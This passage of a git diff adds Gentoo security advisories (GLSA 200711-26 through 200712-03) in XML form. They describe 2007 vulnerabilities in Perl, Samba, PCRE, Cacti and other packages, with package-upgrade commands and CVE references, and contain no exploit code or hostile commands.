+    with the privileges of the user running the application. A local
+    attacker could exploit the "dvilj" vulnerability to conduct a symlink
+    attack to overwrite arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All teTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/tetex-3.0_p1-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5935">CVE-2007-5935</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5936">CVE-2007-5936</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5937">CVE-2007-5937</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-12.xml">GLSA 200710-12</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-22.xml">GLSA 200711-22</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 13 Nov 2007 01:13:42 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Nov 2007 21:46:32 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-27.xml b/xml/htdocs/security/en/glsa/glsa-200711-27.xml
new file mode 100644
index 00000000..d359d625
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-27.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-27">
+  <title>Link Grammar: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in Link Grammar.
+  </synopsis>
+  <product type="ebuild">link-grammar</product>
+  <announced>November 18, 2007</announced>
+  <revised>November 18, 2007: 01</revised>
+  <bug>196803</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/link-grammar" auto="yes" arch="*">
+      <unaffected range="ge">4.2.4-r1</unaffected>
+      <vulnerable range="lt">4.2.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Link Grammar parser is a syntactic parser of English, based on link
+    grammar, an original theory of English syntax.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop from Secunia Research discovered a boundary error in the
+    function separate_sentence() in file tokenize.c when processing an
+    overly long word which might lead to a stack-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to parse a specially crafted
+    sentence, resulting in the remote execution of arbitrary code with the
+    privileges of the user running the application. Note that this
+    vulnerability may be triggered by an application using Link Grammar to
+    parse sentences (e.g. AbiWord).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Link Grammar users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/link-grammar-4.2.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5395">CVE-2007-5395</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Nov 2007 17:43:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 17 Nov 2007 19:29:25 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 17 Nov 2007 19:29:34 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-28.xml b/xml/htdocs/security/en/glsa/glsa-200711-28.xml
new file mode 100644
index 00000000..0e511c72
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-28.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-28">
+  <title>Perl: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow in the Regular Expression engine in Perl possibly allows
+    for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">perl</product>
+  <announced>November 19, 2007</announced>
+  <revised>November 19, 2007: 01</revised>
+  <bug>198196</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.8-r4</unaffected>
+      <vulnerable range="lt">5.8.8-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a stable, cross-platform programming language created by Larry
+    Wall.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Will Drewry (Google Security Team) discovered a
+    heap-based buffer overflow in the Regular Expression engine (regcomp.c)
+    that occurs when switching from byte to Unicode (UTF-8) characters in a
+    regular expression.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could either entice a user to compile a specially
+    crafted regular expression or actively compile it in case the script
+    accepts remote input of regular expressions, possibly leading to the
+    execution of arbitrary code with the privileges of the user running
+    Perl.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/perl-5.8.8-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5116">CVE-2007-5116</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Nov 2007 01:27:30 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 15 Nov 2007 00:34:08 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 19 Nov 2007 14:24:28 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-29.xml b/xml/htdocs/security/en/glsa/glsa-200711-29.xml
new file mode 100644
index 00000000..aef528d6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-29.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-29">
+  <title>Samba: Execution of arbitrary code</title>
+  <synopsis>
+    Samba contains two buffer overflow vulnerabilities potentially resulting in
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>November 20, 2007</announced>
+  <revised>December 05, 2007: 03</revised>
+  <bug>197519</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.27a</unaffected>
+      <vulnerable range="lt">3.0.27a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a suite of SMB and CIFS client/server programs for UNIX.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been reported in nmbd. Alin Rad Pop (Secunia
+    Research) discovered a boundary checking error in the
+    reply_netbios_packet() function which could lead to a stack-based
+    buffer overflow (CVE-2007-5398). The Samba developers discovered a
+    boundary error when processing GETDC logon requests also leading to a
+    buffer overflow (CVE-2007-4572).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    To exploit the first vulnerability, a remote unauthenticated attacker
+    could send specially crafted WINS "Name Registration" requests followed
+    by a WINS "Name Query" request. This might lead to execution of
+    arbitrary code with elevated privileges. Note that this vulnerability
+    is exploitable only when WINS server support is enabled in Samba. The
+    second vulnerability could be exploited by sending specially crafted
+    "GETDC" mailslot requests, but requires Samba to be configured as a
+    Primary or Backup Domain Controller. It is not believed the be
+    exploitable to execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    To work around the first vulnerability, disable WINS support in Samba
+    by setting "<i>wins support = no</i>" in the "global" section of your
+    smb.conf and restart Samba.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.27a&quot;</code>
+    <p>
+    The first vulnerability (CVE-2007-5398) was already fixed in Samba
+    3.0.26a-r2.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4572">CVE-2007-4572</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5398">CVE-2007-5398</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 03 Nov 2007 23:37:14 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 Nov 2007 21:13:02 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-30.xml b/xml/htdocs/security/en/glsa/glsa-200711-30.xml
new file mode 100644
index 00000000..85dfbdbc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-30.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-30">
+  <title>PCRE: Multiple vulnerabilities</title>
+  <synopsis>
+    PCRE is vulnerable to multiple buffer overflow and memory corruption
+    vulnerabilities, possibly leading to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libpcre</product>
+  <announced>November 20, 2007</announced>
+  <revised>November 20, 2007: 01</revised>
+  <bug>198198</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libpcre" auto="yes" arch="*">
+      <unaffected range="ge">7.3-r1</unaffected>
+      <vulnerable range="lt">7.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PCRE is a library providing functions for Perl-compatible regular
+    expressions.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy (Google Security) discovered multiple vulnerabilities in
+    PCRE. He reported an error when processing "\Q\E" sequences with
+    unmatched "\E" codes that can lead to the compiled bytecode being
+    corrupted (CVE-2007-1659). PCRE does not properly calculate sizes for
+    unspecified "multiple forms of character class", which triggers a
+    buffer overflow (CVE-2007-1660). Further improper calculations of
+    memory boundaries were reported when matching certain input bytes
+    against regex patterns in non UTF-8 mode (CVE-2007-1661) and when
+    searching for unmatched brackets or parentheses (CVE-2007-1662).
+    Multiple integer overflows when processing escape sequences may lead to
+    invalid memory read operations or potentially cause heap-based buffer
+    overflows (CVE-2007-4766). PCRE does not properly handle "\P" and
+    "\P{x}" sequences which can lead to heap-based buffer overflows or
+    trigger the execution of infinite loops (CVE-2007-4767), PCRE is also
+    prone to an error when optimizing character classes containing a
+    singleton UTF-8 sequence which might lead to a heap-based buffer
+    overflow (CVE-2007-4768).
+    </p>
+    <p>
+    Chris Evans also reported multiple integer overflow vulnerabilities in
+    PCRE when processing a large number of named subpatterns ("name_count")
+    or long subpattern names ("max_name_size") (CVE-2006-7227), and via
+    large "min", "max", or "duplength" values (CVE-2006-7228) both possibly
+    leading to buffer overflows. Another vulnerability was reported when
+    compiling patterns where the "-x" or "-i" UTF-8 options change within
+    the pattern, which might lead to improper memory calculations
+    (CVE-2006-7230).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities by sending specially
+    crafted regular expressions to applications making use of the PCRE
+    library, which could possibly lead to the execution of arbitrary code,
+    a Denial of Service or the disclosure of sensitive information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PCRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libpcre-7.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7227">CVE-2006-7227</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7228">CVE-2006-7228</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7230">CVE-2006-7230</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1659">CVE-2007-1659</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1660">CVE-2007-1660</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1661">CVE-2007-1661</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1662">CVE-2007-1662</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4766">CVE-2007-4766</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4767">CVE-2007-4767</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4768">CVE-2007-4768</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 09 Nov 2007 10:23:13 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 20 Nov 2007 00:43:59 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 Nov 2007 00:44:04 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-31.xml b/xml/htdocs/security/en/glsa/glsa-200711-31.xml
new file mode 100644
index 00000000..17c69e95
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-31.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-31">
+  <title>Net-SNMP: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been discovered in Net-SNMP when
+    processing GETBULK requests.
+  </synopsis>
+  <product type="ebuild">net-snmp</product>
+  <announced>November 20, 2007</announced>
+  <revised>November 20, 2007: 01</revised>
+  <bug>198346</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/net-snmp" auto="yes" arch="*">
+      <unaffected range="ge">5.4.1-r1</unaffected>
+      <vulnerable range="lt">5.4.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net-SNMP is a collection of tools for generating and retrieving SNMP
+    data.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SNMP agent (snmpd) does not properly handle GETBULK requests with
+    an overly large "max-repetitions" field.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker could send a specially crafted SNMP
+    request to the vulnerable application, possibly resulting in a high CPU
+    and memory consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net-SNMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/net-snmp-5.4.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5846">CVE-2007-5846</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 18 Nov 2007 22:35:11 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Nov 2007 22:35:17 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 19 Nov 2007 21:51:55 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-32.xml b/xml/htdocs/security/en/glsa/glsa-200711-32.xml
new file mode 100644
index 00000000..979bd22b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-32.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-32">
+  <title>Feynmf: Insecure temporary file creation</title>
+  <synopsis>
+    A vulnerability has been discovered in Feynmf allowing local users to
+    overwrite arbitrary files via a symlink attack.
+  </synopsis>
+  <product type="ebuild">feynmf</product>
+  <announced>November 20, 2007</announced>
+  <revised>November 20, 2007: 01</revised>
+  <bug>198231</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-tex/feynmf" auto="yes" arch="*">
+      <unaffected range="ge">1.08-r2</unaffected>
+      <vulnerable range="lt">1.08-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Feynmf is a combined LaTeX and Metafont package for easy drawing of
+    professional quality Feynman (and maybe other) diagrams.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kevin B. McCarty discovered that the feynmf.pl script creates a
+    temporary "properly list" file at the location "$TMPDIR/feynmf$PID.pl",
+    where $PID is the process ID.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the directory where the
+    temporary files are written, pointing to a valid file somewhere on the
+    filesystem that is writable by the user running Feynmf. When Feynmf
+    writes the temporary file, the target valid file would then be
+    overwritten with the contents of the Feynmf temporary file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Feynmf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-tex/feynmf-1.08-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5940">CVE-2007-5940</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 19 Nov 2007 21:43:28 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 19 Nov 2007 21:44:51 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 20 Nov 2007 00:07:40 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-33.xml b/xml/htdocs/security/en/glsa/glsa-200711-33.xml
new file mode 100644
index 00000000..77b08915
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-33.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-33">
+  <title>nss_ldap: Information disclosure</title>
+  <synopsis>
+    A race condition might lead to theft of user credentials or information
+    disclosure in services using nss_ldap.
+  </synopsis>
+  <product type="ebuild">nss_ldap</product>
+  <announced>November 25, 2007</announced>
+  <revised>November 25, 2007: 01</revised>
+  <bug>198390</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-auth/nss_ldap" auto="yes" arch="*">
+      <unaffected range="ge">258</unaffected>
+      <vulnerable range="lt">258</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    nss_ldap is a Name Service Switch module which allows 'passwd', 'group'
+    and 'host' database information to be pulled from LDAP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Josh Burley reported that nss_ldap does not properly handle the LDAP
+    connections due to a race condition that can be triggered by
+    multi-threaded applications using nss_ldap, which might lead to
+    requested data being returned to a wrong process.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Remote attackers could exploit this race condition by sending queries
+    to a vulnerable server using nss_ldap, possibly leading to theft of
+    user credentials or information disclosure (e.g. Dovecot returning
+    wrong mailbox contents).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All nss_ldap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-auth/nss_ldap-258&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5794">CVE-2007-5794</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 18 Nov 2007 15:50:09 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Nov 2007 15:50:16 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 21 Nov 2007 00:25:43 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-34.xml b/xml/htdocs/security/en/glsa/glsa-200711-34.xml
new file mode 100644
index 00000000..12e07f77
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-34.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-34">
+  <title>CSTeX: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in CSTeX, possibly allowing to
+    execute arbitrary code or overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">cstetex</product>
+  <announced>November 25, 2007</announced>
+  <revised>November 25, 2007: 01</revised>
+  <bug>196673</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/cstetex" auto="no" arch="*">
+      <vulnerable range="lt">2.0.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CSTeX is a TeX distribution with Czech and Slovak support. It is used
+    for creating and manipulating LaTeX documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple issues were found in the teTeX 2 codebase that CSTeX builds
+    upon (GLSA 200709-17, GLSA 200711-26). CSTeX also includes vulnerable
+    code from the GD library (GLSA 200708-05), from Xpdf (GLSA 200709-12,
+    GLSA 200711-22) and from T1Lib (GLSA 200710-12).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could possibly execute arbitrary code and local
+    attackers could possibly overwrite arbitrary files with the privileges
+    of the user running CSTeX via multiple vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    CSTeX is not maintained upstream, so the package was masked in Portage.
+    We recommend that users unmerge CSTeX:
+    </p>
+    <code>
+    # emerge --unmerge app-text/cstetex</code>
+    <p>
+    As an alternative, users should upgrade their systems to use teTeX or
+    TeX Live with its Babel packages.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200708-05.xml">GLSA 200708-05</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200709-12.xml">GLSA 200709-12</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200709-17.xml">GLSA 200709-17</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-12.xml">GLSA 200710-12</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-22.xml">GLSA 200711-22</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-26.xml">GLSA 200711-26</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 13 Nov 2007 00:12:34 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 19 Nov 2007 21:14:43 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-01.xml b/xml/htdocs/security/en/glsa/glsa-200712-01.xml
new file mode 100644
index 00000000..fa61c6c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-01.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-01">
+  <title>Hugin: Insecure temporary file creation</title>
+  <synopsis>
+    A vulnerability has been discovered in Hugin, potentially allowing for a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">hugin</product>
+  <announced>December 05, 2007</announced>
+  <revised>December 05, 2007: 01</revised>
+  <bug>195996</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-gfx/hugin" auto="yes" arch="*">
+      <unaffected range="rge">0.6.1-r1</unaffected>
+      <unaffected range="ge">0.7_beta4-r1</unaffected>
+      <vulnerable range="lt">0.7_beta4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Hugin is a GUI for creating and processing panoramic images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Suse Linux reported that Hugin creates the
+    "hugin_debug_optim_results.txt" temporary file in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability with a symlink
+    attack, potentially overwriting an arbitrary file with the privileges
+    of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Hugin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/hugin-0.6.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5200">CVE-2007-5200</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 17 Nov 2007 23:47:03 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 17 Nov 2007 23:47:10 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-02.xml b/xml/htdocs/security/en/glsa/glsa-200712-02.xml
new file mode 100644
index 00000000..72043280
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-02.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-02">
+  <title>Cacti: SQL injection</title>
+  <synopsis>
+    An SQL injection vulnerability has been discovered in Cacti.
+  </synopsis>
+  <product type="ebuild">cacti</product>
+  <announced>December 05, 2007</announced>
+  <revised>December 05, 2007: 02</revised>
+  <bug>199509</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/cacti" auto="yes" arch="*">
+      <unaffected range="rge">0.8.6j-r7</unaffected>
+      <unaffected range="ge">0.8.7a</unaffected>
+      <vulnerable range="lt">0.8.7a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cacti is a complete web-based frontend to rrdtool.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that the "local_graph_id" variable used in the
+    file graph.php is not properly sanitized before being processed in an
+    SQL statement.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted request to the
+    vulnerable host, possibly resulting in the execution of arbitrary SQL
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cacti users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/cacti-0.8.6j-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6035">CVE-2007-6035</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Dec 2007 22:34:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 02 Dec 2007 22:34:29 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Dec 2007 22:01:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-03.xml b/xml/htdocs/security/en/glsa/glsa-200712-03.xml
new file mode 100644
index 00000000..5d53a3a3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-03.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
